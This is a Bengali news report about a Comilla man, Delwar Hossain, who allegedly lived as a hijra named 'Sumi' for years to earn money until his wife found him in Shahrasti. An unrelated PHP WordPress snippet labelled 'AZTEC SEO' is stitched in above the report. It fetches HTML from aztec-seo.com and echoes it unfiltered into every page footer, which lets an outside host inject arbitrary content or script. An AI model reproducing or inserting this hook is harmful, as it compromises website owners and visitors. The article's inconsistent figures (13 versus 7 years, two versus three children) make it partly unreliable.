/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
দীর্ঘ ১৩ বছর যাবৎ হিজড়া সেজে প্রতারণার মাধ্যমে অর্থ উপার্জন করে আসছেন তিন সন্তানের জনক দেলোয়ার হোসেন। তিনি কুমিল্লার নাঙ্গলকোট উপজেলার মক্রমপুর গ্রামের আব্দুল মান্নানের ছেলে।
দেলোয়ারের বাচনভঙ্গি হিজড়াদের সঙ্গে মিলে যাওয়ায় সুকৌশলে হিজড়া জনগোষ্ঠীর সঙ্গে মিশে যান তিনি। শুরুর দিকে দেলোয়ার হোসেন কুমিল্লা, লাকসাম ও নাথেরপেটুয়ায় হিজড়া সেজে অর্থ উপার্জন করত। এরপর পরিচয় হয় চাঁদপুর জেলার শাহরাস্তি উপজেলার তৃতীয় লিঙ্গের সর্দার রানী ময়নার সঙ্গে। দেলোয়ার হোসেন তার ছদ্মনাম সুমি হিসেবে সর্দার রানী ময়নার সঙ্গে শাহরাস্তিতে চলে আসেন। এভাবে দীর্ঘ ৭ বছর যাবৎ তিনি হিজড়াদের সঙ্গে বসবাস করে আসছেন।
বুধবার (১ এপ্রিল) দুপুরে দেলোয়ারের খোঁজে শাহরাস্তিতে দুসন্তান নিয়ে হাজির হন তার স্ত্রী নাছিমা বেগম। তিনি দাবি করেন, আপনারা যাকে সুমি হিজড়া হিসেবে চিনেন তিনি আমার স্বামী দেলোয়ার হোসেন। তিনি বর্তমানে আমাদের কোনো খোঁজখবর রাখে না। তিন সন্তান নিয়ে আমি খুব বিপদে আছি, তাই তার সন্ধান পেয়ে এখানে চলে এসেছি।
শাহরাস্তি উপজেলার শ্রীপুর গ্রামের একটি ভাড়া বাসায় বসবাস করে আসছেন কয়েকজন হিজড়া। স্ত্রী নাছিমা বেগমের উপস্থিতি টের পেয়ে দেলোয়ার হোসেন সেখান থেকে পালিয়ে যায়। বিষয়টি নিয়ে এলাকায় চাঞ্চল্যের সৃষ্টি হয়েছে।
তৃতীয় লিঙ্গের সর্দার রানী ময়না বলেন, তিনি কুমিল্লা জেলার বিভিন্ন স্থানে হিজড়া সেজে অর্থ উপার্জন করত। ৭ বছর পূর্বে আমার সঙ্গে পরিচয় হলে আমি তাকে শাহরাস্তিতে নিয়ে আসি। আমি তাকে সুমি হিজড়া হিসেবে চিনি।
স্থানীয় এলাকাবাসী প্রতারক দেলোয়ারের শাস্তি দাবি করেন।